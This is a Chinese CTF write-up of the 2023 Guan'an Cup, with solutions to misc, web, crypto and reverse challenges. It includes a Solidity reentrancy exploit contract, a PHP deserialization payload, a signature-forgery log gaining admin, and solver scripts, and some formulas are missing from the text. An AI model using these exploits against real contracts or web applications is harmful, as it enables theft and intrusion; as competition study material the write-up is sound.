周四和同事组队“江苏金盾”参加了上海观安杯,我只做出了两道密码和一道智能合约,被队友带飞!虽然但是,题目不算特别难,但还是被卡到了。(附件后台回复:2023观安杯)
-
misc_BaseEncoding
-
misc_BabyWaterMark
-
misc_BabyContract
-
misc_babypng
-
web_babyserialize
-
crypto_PellCurve
-
crypto_babyhash
-
crypto_FakeRSA
-
rev_babyrev
MISC
misc_BaseEncoding
base100
flag: ISG{DfGp3szC69788YcQcNyQBDhzBwYsj9eP}
misc_BabyWaterMark
foremost分离
然后来个基操双图盲水印
python bwmforpy3.py decode BabyWaterMarkAttachment_29EF90h_41FB1h.png BabyWaterMarkAttachment.png flag.png
flag: ISG{ykhmcfm}
misc_BabyContract
由于bet方法里面在改变 betted[msg.sender] 状态之前调了一个 call,所以这里可以造成重入攻击,我们重入 bet 10 次即可。
攻击脚本。
... // 题目源码
contract exp {
Challenge public cha;
uint256 public count;
constructor(address _cha) {
cha = Challenge(_cha);
}
function go() public {
cha.bet(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
cha.checkwin();
}
receive() payable external {
if (count < 11) {
count++;
cha.bet(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
}
}
}
misc_babypng
这道题是赛后做出来的,根据题目信息采用的加密算法是 AES,通过改变图片高度,我们得到
直接跑 zsteg 能够得到隐写信息
比赛的时候尝试对两端密文进行解密,无果。
赛后发现第二段密文是不重复的,遂考虑是 base64 的表,于是
WEB
web_babyserialize
$a = new o_hjldg;
$a->mod1 = new o_dfgdf;
$a->mod1->mod1 = new o_podjg;
$a->mod1->mod1->mod1 = new o_iojnd;
$a->mod1->mod1->mod1->mod1 = new o_lijog;
echo urlencode(serialize($a));
?welcome=O:7:"o_hjldg":1:{s:4:"mod1";O:7:"o_dfgdf":1:{s:4:"mod1";O:7:"o_podjg":2:{s:4:"mod1";O:7:"o_iojnd":1:{s:4:"mod1";O:7:"o_lijog":0:{}}s:4:"mod2";N;s:1:"mod2";N;}}}
绕过throw new Exception('What happened?');
即可
Crypto
crypto_PellCurve
参考论文:《A Note on Cyclic Groups, Finite Fields, and the Discrete Logarithm Problem》
这里的 D=2 是模 p 下二次非剩余,所以对照,
发现曲线的阶是 ,并且是光滑的,
所以按论文构造映射,解离散对数,从而计算协商密钥并解密获得flag
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from hashlib import sha1
from sage.all import *
from collections import namedtuple
import random
Point = namedtuple("Point", ["x", "y"])
class SpecialCurve:
def __init__(self, p, D):
self.p = p
self.D = D
def on_curve(self, P):
x, y = P
return (x**2 - self.D*y**2) % self.p == 1
def add(self, P1, P2):
assert self.on_curve(P1)
assert self.on_curve(P2)
x1, y1 = P1
x2, y2 = P2
x3 = (x1*x2 + self.D*y1*y2) % self.p
y3 = (x1*y2 + y1*x2) % self.p
return (x3, y3)
def mul(self, P, n):
assert self.on_curve(P)
Q = (1, 0)
while n > 0:
if n % 2 == 1:
Q = self.add(Q, P)
P = self.add(P, P)
n = n//2
return Q
def point_addition(P, Q):
Rx = (P.x*Q.x + D*P.y*Q.y) % p
Ry = (P.x*Q.y + P.y*Q.x) % p
return Point(Rx, Ry)
def scalar_multiplication(P, n):
Q = Point(1, 0)
while n > 0:
if n % 2 == 1:
Q = point_addition(Q, P)
P = point_addition(P, P)
n = n//2
return Q
def gen_keypair():
private = random.randint(1, p-1)
public = curve.mul(G, private)
return (public, private)
def gen_shared_secret(P, d):
return curve.mul(P, d)[0]
def encrypt_flag(shared_secret: int, flag: bytes):
# Derive AES key from shared secret
key = sha1(str(shared_secret).encode('ascii')).digest()[:16]
# Encrypt flag
iv = bytes.fromhex('9d01ed1cf32d36b3ad2e876470a7c966')
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.decrypt(pad(flag, 16))
# Prepare data to send
data = {}
data['iv'] = iv.hex()
data['encrypted_flag'] = ciphertext
return data
p = 836488666822961839692956332151705074188888980171
D = 2
curve = SpecialCurve(p, D)
G = Point(763750521881834723197916651095035067737681242766, 181845362352817791237599202641675016128019343515)
A = Point(240757557526671714465376396162227403433173837263, 447777665718794567579895418261874001858417574820)
B = Point(520194352719976455803701872304289944494436419362, 585336922933508707693715789885559439807561539251)
Fx.<W> = GF(p)[]
F.<W> = GF(p^2,modulus = W^2-D)
g = G.x+W*G.y
h = A.x+W*A.y
n_a = discrete_log(h,g,p+1)
shared_secret = gen_shared_secret(B, n_a)
print(f'flag: {encrypt_flag(shared_secret, bytes.fromhex("d1d590779fe7b631f4fce84573175a5049dba0e30e52b53319111e2b39beedb12b94fdff314524857a928407e34ac183"))}')
flag: {'iv': '9d01ed1cf32d36b3ad2e876470a7c966', 'encrypted_flag': b'ISG{P31l_CuRv3_1s_4m4z1ng_1sssnnt_1i1it??!?}x04x04x04x04x911x11xd0xc6xe5xc3xb4xe3+xc5exbfxdapt'}
由于知道阶是 p+1,并且光滑,因此也可以自己实现一个 pohlig-hellman 算法进行该曲线下离散对数的求解。
crypto_babyhash
(这道题也是赛后出的,因为比赛的时候偷懒了)
题目使用 ecdsa 对固定消息 b'{"admin": false, "username": "v"}'
进行签名(其中 username 可控,但只能为字母数字)
我们需要给到一个消息以及对应签名,需要使得 admin 不为 false
由于 ecdsa 用的是现成的库,实现应该没问题,再根据题目的名字。问题应该是在 hash 上。
既然签名这边没法操作,那么肯定还是要用到服务端给的签名,于是问题变成了 如何构造消息使得哈希结果不变 。
一通操作后发现这个 Hash 用的 AES,并且 data 做 key,基本也没什么问题。唯一有点异常的是,这个 Hash 的输出结果是变长的,也就是哈希结果的长度和消息相关,这是不符合一个哈希函数的性质的。
比赛的时候想当然的以为签名的时候直接把哈希的结果化成整数然后模了椭圆曲线的 n,但赛后翻了下源码发现不是的
定位到源码 ecdsa/keys 的 sign 函数
继续跟
再跟
可以发现这里是直接截取了 Hash 结果的前面部分。(其实这样子实现并没有什么问题,因为正常的哈希函数,原消息任何一个字节的变动都会使得结果完全不同)
而由于题目自定义的 hash 函数用的分组密码,后面部分的变动不会影响到前面部分,于是我们直接在 msg 里把 admin 的值覆盖就行
即先注册得到一个 sig,然后传这样的 msg 过去:b'{"msg": "{"admin": false, "username": "v", "admin": True}", "sig": "e512e21389887ffa0273a5eb8011caea6c1a70e9017d7a1ce7cf124ce4457b5d4f7bc726ccffd8adfedece68290ccc51"}'
下面是本地测试的一个log
[root@VM-0-7-centos ~]# python3 pow.py
[+] Opening connection to 0.0.0.0 on port 10501: Done
[DEBUG] Received 0x64 bytes:
b'sha256(XXXX + 8YxeYT9SZtTQWMVi) == 6717147b134f4b23e55b7d46a13e07034052cf1817f5b6b47a2315dcae04991an'
[+] 8YxeYT9SZtTQWMVi
[+] MBruteforcing: Found key: "56f2"
[DEBUG] Received 0xe bytes:
b'Give me XXXX:n'
[DEBUG] Sent 0x5 bytes:
b'56f2n'
[*] Switching to interactive mode
[DEBUG] Received 0x35 bytes:
b'Input your choice:n'
b'[1] Sign inn'
b' [2] Verifyn'
b' [3] Exitn'
Input your choice:
[1] Sign in
[2] Verify
[3] Exit
$ 1
[DEBUG] Sent 0x2 bytes:
b'1n'
[DEBUG] Received 0x15 bytes:
b'Input your username:n'
Input your username:
$ v
[DEBUG] Sent 0x2 bytes:
b'vn'
[DEBUG] Received 0xb1 bytes:
b'Your signature: {"sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}n'
b'Input your choice:n'
b'[1] Sign inn'
b' [2] Verifyn'
b' [3] Exitn'
Your signature: {"sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}
Input your choice:
[1] Sign in
[2] Verify
[3] Exit
$ 2
[DEBUG] Sent 0x2 bytes:
b'2n'
[DEBUG] Received 0x2a bytes:
b'Input your msg and sigature in JSON form:n'
Input your msg and sigature in JSON form:
$ {"msg": "{"admin": false, "username": "v", "admin": true}", "sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}
[DEBUG] Sent 0xaf bytes:
b'{"msg": "{\"admin\": false, \"username\": \"v\", \"admin\": true}", "sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}n'
[DEBUG] Received 0x7f bytes:
b'{"status": "success", "msg": "You are admin", "flag": "flag{local_flag}"}n'
b'Input your choice:n'
b'[1] Sign inn'
b' [2] Verifyn'
b' [3] Exitn'
{"status": "success", "msg": "You are admin", "flag": "flag{local_flag}"}
crypto_FakeRSA
根据费马小定理,,因此计算 即可分解 得到
并且
所以直接在模 的子群解 RSA 即可
crypto_babyhash>>> from Crypto.Util.number import *
>>> GCD(g_1-1,N)
111866001595705655206136101183020283197874784564101493674980072230706986621677629046311220819399015547681597499348897098872254615480124748759743148928336575047822392051861863619982415218046812002241845788648037149530444493909391236257727261773494119463536881195141104243034812239267577941105331754977704967553
>>> p = _
>>> q = N//p
>>> q
177423165686692292535125467170763440629453982724759326486562915864587878875511045350415150838968045180308872118575286392919817985392223911818278263468450869279061387755799396071519424166274644281164897872306855424311984577812678894508559267358595060341140760813495828548201938689492558921146997843581304622799
>>> p*q==N
True
>>> g_1%p
1
>>> e
65537
>>> d = inverse(e,p-1)
>>> pow(c_1,d,p)
208186228126828870953942897018890776421966825291013662975373407466167240240777892074744906116957385869035779338741483005350317628141949
>>> p
111866001595705655206136101183020283197874784564101493674980072230706986621677629046311220819399015547681597499348897098872254615480124748759743148928336575047822392051861863619982415218046812002241845788648037149530444493909391236257727261773494119463536881195141104243034812239267577941105331754977704967553
>>> long_to_bytes(208186228126828870953942897018890776421966825291013662975373407466167240240777892074744906116957385869035779338741483005350317628141949)
b'ISG{feRmat_l1111ttllle_the0o0o0rem_is1s1s_v33ry_us3efu1}'
REVERSE
rev_babyrev
UPX加壳了,还把标志位改了。标志位修改回来之后upx -d会报错,那不管了直接带壳调。
跳过壳的代码发现是Rust写的。还有个反调试,直接改标志位就行了。
之后会判断长度是否为0x20
下边的SSE指令就为加密,加密的同时会进行check比较,题目给出第一个字符是0x49,可以写出exp求出后续所有字符。
flag = ''
num = [0x49, 0x1a, 0x14, 0x3c, 0x13, 0x22, 0x2f, 0x15, 0x49, 0x4d, 0x20, 0x61, 0x62, 0x1b, 0x26, 0x30, 0x2a, 0x19, 0x7, 0x5, 0xd, 0x16, 0x1, 0x9, 0x14, 0x7, 0x2, 0x1d, 0x4c, 0x8, 0x78, 0x35]
sum = 0
for i in range(len(num)):
sum ^= num[i]
flag += chr(sum)
print flag
原文始发于微信公众号(Van1sh):2023 观安杯